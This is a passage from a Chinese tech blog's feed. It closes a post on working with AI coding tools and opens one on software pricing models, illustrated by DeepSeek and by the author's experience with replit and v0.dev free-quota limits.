&#x5206;&#x652F;&#xFF0C;&#x53EF;&#x4EE5;&#x5728;&#x65B0;&#x7684;&#x5206;&#x652F;&#x4E0A;&#x8FDB;&#x884C;&#x4EE3;&#x7801;&#x4FEE;&#x6539;&#xFF0C;&#x9A8C;&#x8BC1;&#x53EF;&#x884C;&#x540E;&#xFF0C;cherry-pick &#x5230;&#x4E3B;&#x5206;&#x652F;</p></li></ul><p><em><strong>&#x8003;&#x9A8C;&#x7684;&#x80FD;&#x529B;&#xFF1A;</strong></em></p><ul class="lvl-0"><li class="lvl-2"><p>&#x8D44;&#x6E90;&#x8C03;&#x5EA6;&#x4EE5;&#x53CA;&#x5408;&#x7406;&#x5229;&#x7528;&#x80FD;&#x529B;&#xFF1A;&#x5404;&#x79CD;AI&#x5DE5;&#x5177;&#x5F88;&#x591A;(ChatGPT&#xFF0C;Gemini&#xFF0C;DeepSeek&#x3001;Grok&#xFF0C;Qwen)&#xFF0C;VS code with CoPilot, Trae, Cursor, &#x4ED6;&#x4EEC;&#x5404;&#x6709;&#x4F18;&#x7F3A;&#x70B9;&#xFF0C;&#x9002;&#x5408;&#x5E72;&#x4E0D;&#x540C;&#x7684;&#x6D3B;&#xFF0C;&#x5982;&#x4F55;&#x5408;&#x7406;&#x5B89;&#x6392;&#xFF0C;&#x8BA9;&#x5B83;&#x4EEC;&#x6709;&#x6761;&#x4E0D;&#x7D0A;&#x7684;&#x914D;&#x5408;&#x5DE5;&#x4F5C;&#xFF0C;&#x662F;&#x4E00;&#x79CD;&#x80FD;&#x529B;&#x3002;</p></li><li class="lvl-2"><p>&#x8F6F;&#x4EF6;&#x67B6;&#x6784;&#x80FD;&#x529B;&#xFF0C;&#x5728;&#x7F16;&#x5199;&#x6280;&#x672F;&#x6587;&#x6863;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x7279;&#x522B;&#x4ECE;&#x5168;&#x5C40;&#x8003;&#x8651;&#x8F6F;&#x4EF6;&#x7684;&#x67B6;&#x6784;&#x95EE;&#x9898;&#xFF0C;&#x4ECE;&#x800C;&#x51B3;&#x5B9A;&#x54EA;&#x4E9B;&#x662F;&#x91CD;&#x70B9;&#x6A21;&#x5757;&#xFF0C;&#x54EA;&#x4E9B;&#x662F;&#x4F18;&#x5148;&#x7EA7;&#x9760;&#x540E;&#x7684;&#x529F;&#x80FD;</p></li><li class="lvl-2"><p>&#x5BF9;&#x5E95;&#x5C42;&#x6280;&#x672F;&#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x5982;&#x679C;&#x5B8C;&#x5168;&#x4E0D;&#x4E86;&#x89E3;&#xFF0C;&#x5BF9;&#x4E8E; AI &#x751F;&#x6210;&#x7684;&#x4EE3;&#x7801;&#xFF0C;&#x5B83;&#x4EEC;&#x5F88;&#x591A;&#x90FD;&#x662F; &#x201C;&#x7CCA;&#x5F04;&quot;&#x6216;&#x8005;&#x8BF4;&#x4E0D;&#x77E5;&#x9053;&#x4ECE;&#x54EA;&#x91CC;&#x62FC;&#x51D1;&#x51FA;&#x6765;&#x7684;&#x4E1C;&#x897F;(&#x6BD4;&#x5982;&#x4ECE;CSDN&#x4E0A;&#xFF1F;&#x1F604;)&#xFF0C;&#x56E0;&#x6B64; AI &#x63D0;&#x4F9B;&#x7684;&#x4EE3;&#x7801;&#x770B;&#x8D77;&#x6765;&#x4E00;&#x5927;&#x5806;&#xFF0C;&#x4F46;&#x53EF;&#x80FD;&#x5B9E;&#x9645;&#x4E0A;&#x90FD;&#x662F;&quot;&#x5E9F;&#x8BDD;&#x6EE1;&#x7BC7;&#x201D;&#xFF0C;&#x4E00;&#x672C;&#x6B63;&#x7ECF;&quot;&#x80E1;&#x8BF4;&#x516B;&#x9053;&quot;&#x3002;&#x56E0;&#x6B64;&#x6211;&#x4EEC;&#x4F5C;&#x4E3A;&#x7BA1;&#x7406;&#x5B83;&#x4EEC;&#x7684;&#x4EBA;&#xFF0C;&#x9996;&#x5148;&#x8981;&#x5BF9;&#x6280;&#x672F;&#x6709;&#x6240;&#x4E86;&#x89E3;&#x3002;</p></li><li class="lvl-2"><p>&#x4ECE;&#x4E0A;&#x9762;&#x7684;&#x70B9;&#x81EA;&#x7136;&#x770B;&#x51FA;&#x6765;&#xFF0C;&#x7BA1;&#x7406;&#x80FD;&#x529B;&#x7684;&#x91CD;&#x8981;&#x6027;&#x4E86;&#xFF0C;&#x8FD9;&#x91CC;&#x65E2;&#x5305;&#x62EC;&#x624B;&#x5E95;&#x4E0B;&#x7684; &#x201C;AI &#x5458;&#x5DE5;&#x201D;&#xFF0C;&#x53C8;&#x5305;&#x62EC;&#x81EA;&#x8EAB;&#x7684;&#x6280;&#x672F;&#x57FA;&#x7840;&#x3002;</p></li></ul><h3 id="&#x6700;&#x540E;">&#x6700;&#x540E;</h3><p>&#x5BF9;&#x4E8E;&#x7528; AI &#x5199;&#x4EE3;&#x7801;&#x7684;&#x4EBA;&#x6765;&#x8BF4;&#xFF0C;&#x67D0;&#x79CD;&#x7A0B;&#x5EA6;&#x4E0A;&#xFF0C;&#x6211;&#x4EEC;&#x53EA;&#x662F;&#x6709;&#x4E86;&#x4E00;&#x4E2A;&#x66F4;&#x806A;&#x660E;&#x7684;&#x7F16;&#x8BD1;&#x5668;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x6709;&#x4E86;&#x4E07;&#x80FD;&#x94A5;&#x5319;&#xFF0C;&#x6700;&#x540E;&#x7684;&#x843D;&#x811A;&#x70B9;&#x8FD8;&#x662F;&#x5728;&#x4E8E;&#x4EBA;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x5DE5;&#x5177;&#x3002;&#x8F6F;&#x4EF6;&#x884C;&#x4E1A;&#x4E5F;&#x5DF2;&#x7ECF;&#x4ECE; Cloud-native &#x5230;&#x4E86; AI-native&#xFF0C;&#x5728;&#x65B0;&#x8D8B;&#x52BF;&#x9762;&#x524D;&#xFF0C;&#x603B;&#x662F;&#x4F1A;&#x6709;&#x5F88;&#x591A;&#x65B0;&#x673A;&#x4F1A;&#x7684;&#x3002;</p><p>&#x6700;&#x540E;&#x9644;&#x4E0A;&#x98DE;&#x4E66;&#x8868;&#x683C;+DeepSeek &#x5B9E;&#x73B0;&#x7684;&#x5355;&#x8BCD;&#x672C;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x8F93;&#x5165;&#x5355;&#x8BCD;&#xFF0C;&#x81EA;&#x52A8;&#x83B7;&#x5F97;&#x5176;&#x4E2D;&#x6587;&#x7FFB;&#x8BD1;&#x3001;&#x53D1;&#x97F3;&#x3001;&#x4F7F;&#x7528;&#x793A;&#x4F8B;&#x3002;&#x6211;&#x89C9;&#x5F97;&#x8FD9;&#x5C31;&#x80FD;&#x628A;&#x5F88;&#x591A;&#x5355;&#x8BCD;&#x5E94;&#x7528;&#x53D6;&#x4EE3;&#x4E86;&#x3002;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/img_v3_02ju_095fde47-6aa7-4904-9f4d-5bfbd0fcae4g.jpg" alt="img_v3_02ju_095fde47-6aa7-4904-9f4d-5bfbd0fcae4g.jpg"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x5206;&amp;#x4EAB;&amp;#x4F5C;&amp;#x8005;&amp;#x5BF9;AI&amp;#x7F16;&amp;#x7A0B;&amp;#x5DE5;&amp;#x5177;&amp;#x7684;&amp;#x5B9E;&amp;#x9645;&amp;#x4F7F;&amp;#x7528;&amp;#x4F53;&amp;#x9A8C;&amp;#xFF0C;&amp;#x8BC4;&amp;#x6D4B;&amp;#x4E86;&amp;#x591A;&amp;#x79CD;AI&amp;#x804A;&amp;#x5929;&amp;#x673A;&amp;#x5668;&amp;#x4EBA;&amp;#x548C;&amp;#x4EE3;&amp;#x7801;&amp;#x7F16;&amp;#x8F91;&amp;#x5668;&amp;#x7684;&amp;#x6027;&amp;#x80FD;&amp;#x7279;&amp;#x70B9;&amp;#x3002;&amp;#x8BE6;&amp;#x7EC6;&amp;#x63A2;&amp;#x8BA8;&amp;#x4E86;AI&amp;#x8F85;&amp;#x52A9;&amp;#x7F16;&amp;#x7A0B;&amp;#x7684;&amp;#x5DE5;&amp;#x4F5C;&amp;#x6D41;&amp;#x7A0B;&amp;#xFF0C;&amp;#x5206;&amp;#x6790;&amp;#x4E86;&amp;#x4EBA;&amp;#x5728;AI&amp;#x65F6;&amp;#x4EE3;&amp;#x8F6C;&amp;#x53D8;&amp;#x4E3A;&amp;quot;&amp;#x4EA7;&amp;#x54C1;&amp;#x7ECF;&amp;#x7406;&amp;quot;&amp;#x89D2;&amp;#x8272;&amp;#x7684;&amp;#x8D8B;&amp;#x52BF;&amp;#xFF0C;&amp;#x5E76;&amp;#x63D0;&amp;#x51FA;&amp;#x4E86;&amp;#x8F6F;&amp;#x4EF6;&amp;#x67B6;&amp;#x6784;&amp;#x80FD;&amp;#x529B;&amp;#x3001;&amp;#x6280;&amp;#x672F;&amp;#x57FA;&amp;#x7840;&amp;#x548C;&amp;#x8D44;&amp;#x6E90;&amp;#x8C03;&amp;#x5EA6;&amp;#x80FD;&amp;#x529B;&amp;#x5728;&amp;#x65B0;&amp;#x8303;&amp;#x5F0F;&amp;#x4E0B;&amp;#x7684;&amp;#x91CD;&amp;#x8981;&amp;#x6027;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="AI" scheme="https://oschina.win/categories/AI/"/>
    
    
    <category term="AI" scheme="https://oschina.win/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>Why product price matters</title>
    <link href="https://oschina.win/posts/8020220c.html"/>
    <id>https://oschina.win/posts/8020220c.html</id>
    <published>2025-03-02T16:32:11.000Z</published>
    <updated>2025-03-02T16:32:11.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x4EA7;&#x54C1;&#x5B9A;&#x4EF7;&#x5F88;&#x91CD;&#x8981;</p><p>&#x672C;&#x6587;&#x6DF1;&#x5165;&#x5206;&#x6790;&#x4EA7;&#x54C1;&#x5B9A;&#x4EF7;&#x5BF9;&#x7528;&#x6237;&#x884C;&#x4E3A;&#x548C;&#x5546;&#x4E1A;&#x6210;&#x529F;&#x7684;&#x5173;&#x952E;&#x5F71;&#x54CD;&#xFF0C;&#x4EE5;DeepSeek&#x548C;v0.dev&#x4E3A;&#x4F8B;&#xFF0C;&#x5BF9;&#x6BD4;&#x4E0D;&#x540C;&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x7684;&#x5FC3;&#x7406;&#x6548;&#x5E94;&#x3002;&#x6587;&#x7AE0;&#x63A2;&#x8BA8;&#x4E86;&#x8F6F;&#x4EF6;&#x884C;&#x4E1A;&#x5B9A;&#x4EF7;&#x6A21;&#x5F0F;&#x7684;&#x6F14;&#x8FDB;&#x5386;&#x7A0B;&#xFF0C;&#x4ECE;&#x4E00;&#x6B21;&#x6027;&#x4E70;&#x65AD;&#x5230;&#x6309;token&#x6536;&#x8D39;&#xFF0C;&#x5E76;&#x901A;&#x8FC7;&#x5B9E;&#x9645;&#x6848;&#x4F8B;&#x5C55;&#x793A;&#x4E86;&#x6BCF;&#x65E5;&#x5237;&#x65B0;&#x514D;&#x8D39;&#x989D;&#x5EA6;&#x5982;&#x4F55;&#x63D0;&#x9AD8;&#x7528;&#x6237;&#x7C98;&#x6027;&#x548C;&#x4ED8;&#x8D39;&#x8F6C;&#x5316;&#x7387;&#xFF0C;&#x63D0;&#x70BC;&#x51FA;&#x6210;&#x529F;&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x7684;&#x6838;&#x5FC3;&#x539F;&#x5219;&#x4E0E;&#x5FC3;&#x7406;&#x5B66;&#x542F;&#x793A;&#x3002;</p><span id="more"></span><h3 id="&#x4ECE;-DeepSeek-&#x8BF4;&#x8D77;">&#x4ECE; DeepSeek &#x8BF4;&#x8D77;</h3><p>DeepSeek &#x5E74;&#x521D;&#x4EE5;&#x6765;&#xFF0C;&#x4ECE;&#x9ED8;&#x9ED8;&#x65E0;&#x95FB;&#x5230;&#x884C;&#x4E1A;&#x5DE8;&#x9CB8;&#xFF0C;&#x9664;&#x4E86;&#x672C;&#x8EAB;&#x7531;&#x5176;&#x6280;&#x672F;&#x652F;&#x6301;&#x7684;&#x8FC7;&#x786C;&#x670D;&#x52A1;&#x5916;&#xFF0C;&#x8FD8;&#x5728;&#x4E8E;&#x5176;&#x670D;&#x52A1;&#x7684;&#x5B9A;&#x4EF7;&#xFF0C;&#x8FD9;&#x662F;&#x4E0D;&#x53EF;&#x5FFD;&#x7565;&#x7684;&#x56E0;&#x7D20;&#x3002;&#x5927;&#x6A21;&#x578B;&#x670D;&#x52A1;&#x5728; OpenAI &#x7B49;&#x516C;&#x53F8;&#x7684;&#x5784;&#x65AD;&#x4E0B;&#xFF0C;&#x7528;&#x6237;&#x5DEE;&#x70B9;&#x5FEB;&#x4EE5;&#x4E3A;&#x5B83;&#x4EEC;&#x7684;API&#x8FD9;&#x4E48;&#x8D35;&#x662F;&#x7406;&#x6240;&#x5F53;&#x7136;&#x7684;&#xFF0C;&#x76F4;&#x5230; Deepseek &#x51FA;&#x73B0;&#xFF0C;&#x6709;&#x4E86;&#x5BF9;&#x6BD4;&#xFF0C;&#x7528;&#x6237;&#x7684;&#x5FC3;&#x6001;&#x9A6C;&#x4E0A;&#x53D8;&#x4E86;&#x3002;</p><p>Deepseek &#x7684;&#x7B56;&#x7565;&#x4E5F;&#x975E;&#x5E38;&#x6210;&#x529F;:</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250302233113.png" alt="image.png"></p><p>&#x800C;&#x4E14;&#x5728;&#x5176;&#x5F00;&#x6E90;&#x5468;&#x7684;&#x6700;&#x540E;&#x4E00;&#x5929;&#xFF0C;one more thing &#x73AF;&#x8282;&#xFF0C;&#x4ED6;&#x4EEC;&#x516C;&#x5E03;&#x4E86;&#x4ED6;&#x4EEC;&#x6A21;&#x578B;&#x7684;&#x6210;&#x672C;&#x5229;&#x6DA6;&#x7EC6;&#x8282;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250302233343.png" alt="image.png"></p><p>&#x8FD9;&#x4E3A;&#x4ED6;&#x4EEC;&#x7684;&#x4EA7;&#x54C1;&#x5B9A;&#x4EF7;&#x63D0;&#x4F9B;&#x4E86;&#x4F9D;&#x636E;&#x3002;</p><p>&#x5927;&#x90E8;&#x5206;&#x7528;&#x6237;&#x5BF9;&#x4EF7;&#x683C;&#x90FD;&#x662F;&#x654F;&#x611F;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x4EA7;&#x54C1;&#x5B9A;&#x4EF7;&#x662F;&#x4F01;&#x4E1A;&#x6218;&#x7565;&#x4E2D;&#x81F3;&#x5173;&#x91CD;&#x8981;&#x7684;&#x4E00;&#x73AF;&#xFF0C;&#x5B83;&#x4E0D;&#x4EC5;&#x76F4;&#x63A5;&#x5F71;&#x54CD;&#x516C;&#x53F8;&#x7684;&#x6536;&#x5165;&#x548C;&#x5E02;&#x573A;&#x7ADE;&#x4E89;&#x529B;&#xFF0C;&#x8FD8;&#x6DF1;&#x523B;&#x5851;&#x9020;&#x7740;&#x7528;&#x6237;&#x884C;&#x4E3A;&#x3002;&#x6709;&#x65F6;&#x5019;&#x8FD9;&#x751A;&#x81F3;&#x6BD4;&#x4EA7;&#x54C1;&#x672C;&#x8EAB;&#x8FD8;&#x91CD;&#x8981;&#x3002;</p><h3 id="&#x8F6F;&#x4EF6;&#x884C;&#x4E1A;&#x5B9A;&#x4EF7;&#x6A21;&#x5F0F;&#x7684;&#x6F14;&#x8FDB;">&#x8F6F;&#x4EF6;&#x884C;&#x4E1A;&#x5B9A;&#x4EF7;&#x6A21;&#x5F0F;&#x7684;&#x6F14;&#x8FDB;</h3><p>&#x4EE5;&#x6211;&#x7684;&#x5370;&#x8C61;&#xFF0C;&#x8F6F;&#x4EF6;&#x884C;&#x4E1A;&#x7684;&#x5B9A;&#x4EF7;&#x6A21;&#x5F0F;&#x6709;&#x5982;&#x4E0B;&#x51E0;&#x79CD;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p><strong>&#x4E00;&#x6B21;&#x6027;&#x4E70;&#x65AD;</strong>&#xFF1A;&#x5728;&#x8F6F;&#x4EF6;&#x884C;&#x4E1A;&#x65E9;&#x671F;&#xFF0C;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x4E00;&#x7B14;&#x8D39;&#x7528;&#x5373;&#x53EF;&#x6C38;&#x4E45;&#x4F7F;&#x7528;&#x4EA7;&#x54C1;&#x3002;&#x8FD9;&#x79CD;&#x6A21;&#x5F0F;&#x9002;&#x7528;&#x4E8E;&#x66F4;&#x65B0;&#x9891;&#x7387;&#x4F4E;&#x3001;&#x7ADE;&#x4E89;&#x4E0D;&#x6FC0;&#x70C8;&#x7684;&#x65F6;&#x671F;&#xFF0C;&#x4F46;&#x65E0;&#x6CD5;&#x9002;&#x5E94;&#x5FEB;&#x901F;&#x8FED;&#x4EE3;&#x7684;&#x73B0;&#x4EE3;&#x9700;&#x6C42;&#x3002;</p></li><li class="lvl-2"><p><strong>&#x6309;&#x5E74;/&#x6309;&#x6708;&#x4ED8;&#x8D39;</strong>&#xFF1A;&#x968F;&#x7740;&#x4E92;&#x8054;&#x7F51;&#x670D;&#x52A1;&#x7684;&#x53D1;&#x5C55;&#xFF0C;&#x8F6F;&#x4EF6;&#x5373;&#x670D;&#x52A1;&#xFF08;SaaS&#xFF09;&#x6A21;&#x5F0F;&#x5174;&#x8D77;&#xFF0C;&#x7528;&#x6237;&#x901A;&#x8FC7;&#x8BA2;&#x9605;&#x6309;&#x5E74;&#x6216;&#x6309;&#x6708;&#x4ED8;&#x8D39;&#xFF0C;&#x4EAB;&#x53D7;&#x6301;&#x7EED;&#x66F4;&#x65B0;&#x3002;&#x8FD9;&#x79CD;&#x6A21;&#x5F0F;&#x964D;&#x4F4E;&#x4E86;&#x8BD5;&#x9519;&#x6210;&#x672C;&#xFF0C;&#x63D0;&#x9AD8;&#x4E86;&#x7528;&#x6237;&#x7C98;&#x6027;&#x3002;</p></li><li class="lvl-2"><p><strong>&#x6309;&#x8C03;&#x7528;&#x6B21;&#x6570;&#x4ED8;&#x8D39;</strong>&#xFF1A;&#x4E91;&#x670D;&#x52A1;&#x7684;&#x666E;&#x53CA;&#x5E26;&#x6765;&#x4E86;&#x6309;&#x9700;&#x4ED8;&#x8D39;&#x7684;&#x6A21;&#x5F0F;&#xFF0C;&#x7528;&#x6237;&#x6839;&#x636E;&#x5B9E;&#x9645;&#x4F7F;&#x7528;&#x91CF;&#xFF08;&#x5982; API &#x8C03;&#x7528;&#x6B21;&#x6570;&#xFF09;&#x4ED8;&#x8D39;&#x3002;&#x8FD9;&#x964D;&#x4F4E;&#x4E86;&#x521D;&#x59CB;&#x6210;&#x672C;&#xFF0C;&#x9002;&#x5408;&#x8D44;&#x6E90;&#x6D88;&#x8017;&#x578B;&#x670D;&#x52A1;&#x3002;</p></li><li class="lvl-2"><p><strong>&#x6309; token &#x6536;&#x8D39;</strong>&#xFF1A;&#x5982;&#x4ECA;&#xFF0C;&#x968F;&#x7740;&#x5927;&#x6A21;&#x578B;&#x7684;&#x5174;&#x8D77;&#xFF0C;&#x6309; token &#x6536;&#x8D39;&#x6210;&#x4E3A;&#x4E00;&#x79CD;&#x65B0;&#x8D8B;&#x52BF;&#x3002;Token &#x662F;&#x6587;&#x672C;&#x5904;&#x7406;&#x7684;&#x57FA;&#x672C;&#x5355;&#x4F4D;&#xFF0C;&#x7528;&#x6237;&#x6839;&#x636E;&#x8F93;&#x5165;&#x548C;&#x8F93;&#x51FA;&#x7684; token &#x6570;&#x91CF;&#x4ED8;&#x8D39;&#xFF0C;&#x8FD9;&#x79CD;&#x6A21;&#x5F0F;&#x7CBE;&#x786E;&#x53CD;&#x6620;&#x4E86;&#x670D;&#x52A1;&#x4F7F;&#x7528;&#x60C5;&#x51B5;&#xFF0C;&#x975E;&#x5E38;&#x9002;&#x5408; AI &#x9A71;&#x52A8;&#x7684;&#x5E94;&#x7528;&#x3002;</p></li></ul><p>&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#x4EA7;&#x54C1;&#x3001;&#x670D;&#x52A1;&#x7684;&#x5B9A;&#x4EF7;&#x6108;&#x6765;&#x6108;&#x7CBE;&#x51C6;&#x3002;&#x8FD9;&#x6709;&#x660E;&#x663E;&#x7684;&#x597D;&#x5904;&#xFF0C;&#x5047;&#x5982;&#x73B0;&#x5728;&#x7684;&#x5927;&#x6A21;&#x578B;&#x8FD8;&#x662F;&#x6309;&#x7167;&#x4E00;&#x6B21;&#x6027;&#x4E70;&#x65AD;&#xFF0C;&#x6216;&#x8005;&#x6309;&#x5E74;&#x4ED8;&#x8D39;&#xFF0C;&#x6BD4;&#x5982;&#x4E00;&#x5E74;1000&#x5200;&#xFF0C;&#x867D;&#x7136;&#x5E73;&#x5747;&#x4E00;&#x4E2A;&#x6708;&#x4E0D;&#x5230;10&#x5200;&#xFF0C;&#x4F46;&#x662F;&#x6709;&#x591A;&#x5C11;&#x4EBA;&#x4F1A;&#x4E00;&#x6B21;&#x6027;&#x4ED8;1000&#x5200;&#x5462;&#xFF1F;&#x800C;&#x5982;&#x679C;&#x7528;&#x4E00;&#x6B21;&#x4ED8; 0.05&#x5200;&#x5462;&#xFF1F;&#x8FD9;&#x4E2A;&#x5C31;&#x4E0D;&#x7528;&#x8BF4;&#x4E86;&#x3002;</p><h3 id="&#x5B9E;&#x9645;&#x6848;&#x4F8B;">&#x5B9E;&#x9645;&#x6848;&#x4F8B;</h3><p>&#x4EF7;&#x683C;&#x5F71;&#x54CD;&#x5FC3;&#x7406;&#xFF0C;&#x5FC3;&#x7406;&#x5F71;&#x54CD;&#x884C;&#x4E3A;&#x3002;&#x6211;&#x5C06;&#x7528;&#x4E00;&#x4E2A;&#x6700;&#x8FD1;&#x7684;&#x4F8B;&#x5B50;&#x6765;&#x8BF4;&#x660E;&#xFF0C;&#x4E00;&#x4E2A;&#x597D;&#x7684;&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x662F;&#x591A;&#x4E48;&#x91CD;&#x8981;&#x3002;</p><p>&#x6211;&#x6700;&#x8FD1;&#x4F53;&#x9A8C;&#x4E86;&#x4E24;&#x4E2A;&#x4EA7;&#x54C1;&#xFF1A;<a href="https://v0.dev/">v0.dev</a>&#xFF0C; <a href="https://replit.com/">replit</a>, &#x5B83;&#x4EEC;&#x90FD;&#x662F;&#x5728;&#x7EBF;&#x5F00;&#x53D1;&#x5E73;&#x53F0;&#xFF0C;&#x96C6;&#x6210;&#x4E86; AI &#x529F;&#x80FD;&#xFF0C;&#x8BF4;&#x767D;&#x4E86;&#x5C31;&#x662F;&#x8BA9; AI &#x5E2E;&#x7528;&#x6237;&#x5F00;&#x53D1;&#x9879;&#x76EE;&#x3002;&#x8D77;&#x521D;&#xFF0C;&#x6211;&#x5728; replit &#x4E0A;&#x65B0;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x9879;&#x76EE;&#xFF1A;AIGameHub&#xFF0C;&#x901A;&#x8FC7; chat &#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x4E0D;&#x65AD;&#x63D0;&#x9700;&#x6C42;&#xFF0C;&#x6162;&#x6162;&#x5B8C;&#x5584;&#x529F;&#x80FD;&#xFF0C;&#x7136;&#x540E;&#x7A81;&#x7136;&#x53D1;&#x73B0;&#x6211;&#x5DF2;&#x7ECF;&#x7528;&#x5B8C;&#x4E86;&#x6211;&#x7684;&#x989D;&#x5EA6;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250302235715.png" alt="image.png"></p><p>&#x672C;&#x6765;&#x5BF9;&#x8FD9;&#x4E2A;&#x9879;&#x76EE;&#x8FD8;&#x6709;&#x671F;&#x5F85;&#x7684;&#xFF0C;&#x73B0;&#x5728;&#x544A;&#x8BC9;&#x6211;&#x8981; 25&#x5200;&#x6BCF;&#x6708;&#xFF0C;&#x770B;&#x4E86;&#x94B1;&#x5305;&#xFF0C;&#x8FD8;&#x662F;&#x7B97;&#x4E86;&#xFF0C;&#x53CD;&#x6B63;&#x73B0;&#x5728;&#x8FD8;&#x662F;&#x534A;&#x6210;&#x54C1;&#x3002;</p><p>&#x4F46;&#x662F;&#x6211;&#x53C8;&#x60F3;&#x8D77;&#x53E6;&#x5916;&#x4E00;&#x4E2A;&#x7F51;&#x7AD9;&#xFF0C;v0.dev &#x8FD9;&#x4E2A;&#x7F51;&#x7AD9;&#x529F;&#x80FD;&#x4E5F;&#x5DEE;&#x4E0D;&#x591A;&#xFF0C;&#x5C31;&#x662F;&#x901A;&#x8FC7; Chat &#x63D0;&#x9700;&#x6C42;&#xFF0C;&#x6539;&#x8FDB;&#x529F;&#x80FD;&#xFF0C;&#x4FEE;&#x590D; bug&#x3002;&#x534A;&#x5E74;&#x524D;&#x5C31;&#x7528;&#x8FC7;&#x4E86;&#xFF0C;&#x4F46;&#x662F;&#x5F53;&#x65F6;&#x6CA1;&#x5565;&#x60F3;&#x6CD5;&#x3002;&#x73B0;&#x5728;&#x6709;&#x60F3;&#x505A;&#x7684;&#x4E1C;&#x897F;&#x4E86;&#xFF0C;&#x4E8E;&#x662F;&#x5C31;&#x767B;&#x5F55;&#x4E0A;&#x53BB;&#x4E86;&#x3002;&#x65B0;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x9879;&#x76EE;&#xFF1A;Cryptocurrency&#xA0;Monitoring&#xA0;Dashboard<br>&#x6BEB;&#x65E0;&#x610F;&#x5916;&#xFF0C;&#x6211;&#x7684;&#x514D;&#x8D39;&#x989D;&#x5EA6;&#x9A6C;&#x4E0A;&#x4E5F;&#x7528;&#x5B8C;&#x4E86;&#xFF0C;&#x6211;&#x8981;&#x4E48;&#x6BCF;&#x6708;&#x4ED8;&#x8D39; 20 &#x5200;&#xFF0C;&#x8981;&#x4E48;&#x7B49;&#x660E;&#x5929;&#x518D;&#x6765;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250303000413.png" alt="image.png"></p><p>&#x5230;&#x6B64;&#xFF0C;&#x8FD9;&#x5C31;&#x662F;&#x6211;&#x60F3;&#x8BF4;&#x7684;&#x8FD9;&#x4E24;&#x4E2A;&#x7F51;&#x7AD9;&#x7684;&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x3002;&#x5B83;&#x4EEC;&#x7684;&#x533A;&#x522B;&#x5E76;&#x4E0D;&#x5728;&#x4E8E;&#x4E00;&#x4E2A;&#x6BCF;&#x6708;25&#x5200;&#xFF0C;&#x4E00;&#x4E2A;20&#x5200;&#x3002;&#x800C;&#x662F;&#x5728;&#x4E8E;&#xFF0C;&#x4E00;&#x4E2A;&#x514D;&#x8D39;&#x989D;&#x5EA6;&#x7528;&#x5B8C;&#x540E;&#xFF0C;&#x518D;&#x4E5F;&#x65E0;&#x6CD5;&#x7EE7;&#x7EED;&#x514D;&#x8D39;&#x4F7F;&#x7528;&#x4E86;&#xFF0C;&#x800C;&#x53E6;&#x4E00;&#x4E2A;&#x53EA;&#x8981;&#x7B49;&#x7B2C;&#x4E8C;&#x5929;&#x5C31;&#x53EF;&#x4EE5;&#x518D;&#x7EE7;&#x7EED;&#x4F7F;&#x7528;&#x3002;</p><p>&#x7ED3;&#x679C;&#x662F;&#x4EC0;&#x4E48;&#x5462;&#xFF1F;</p><p>&#x6211;&#x9A6C;&#x4E0A;&#x5C31;&#x4E0D;&#x518D;&#x4F7F;&#x7528; replit &#x4E86;&#xFF0C;&#x7B49;&#x5230;&#x7B2C;&#x4E8C;&#x5929;&#x7EE7;&#x7EED;&#x4F7F;&#x7528;&#x4E86; v0.dev&#xFF0C;&#x7136;&#x540E;&#x5B8C;&#x6210;&#x4E86;&#x6211;&#x7684;&#x4EA7;&#x54C1;&#x7684;MVP:<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250303000850.png" alt="image.png"></p><blockquote><ol><li class="lvl-3"><p>BTC/ETH &#x7684;&#x5386;&#x53F2;&#x4EF7;&#x683C;&#x901A;&#x8FC7; coingecko &#x7684; API &#x83B7;&#x53D6;</p></li><li class="lvl-3"><p>&#x793E;&#x533A;&#x60C5;&#x7EEA; Sentiment &#x6307;&#x6807;&#x6700;&#x5F00;&#x59CB;&#x662F;&#x60F3;&#x7528; X &#x4E0A;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x7ED3;&#x679C;&#x53D1;&#x73B0;&#x8FD9;&#x9700;&#x8981;&#x5347;&#x7EA7;&#x4F1A;&#x5458;(&#x54C8;&#xFF0C;&#x53C8;&#x662F;&#x94B1;)&#x3002;&#x6700;&#x540E;&#x7528;&#x7684; Reddit &#x4E0A;&#x7684;&#xFF0C;&#x722C;&#x53D6;&#x76F8;&#x5173;&#x677F;&#x5757;&#x7684;&#x5E16;&#x5B50;&#xFF0C;&#x5E76;&#x7B80;&#x5355;&#x8BC6;&#x522B;&#x79EF;&#x6781;&#x60C5;&#x7EEA;&#x8FD8;&#x662F;&#x6D88;&#x6781;&#x60C5;&#x7EEA;&#x3002;</p></li><li class="lvl-3"><p>&#x5176;&#x4F59;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x5982; Futures Open Interest, Spot Holding, Institutional Holding &#x662F;&#x901A;&#x8FC7; Binance &#x7684; API 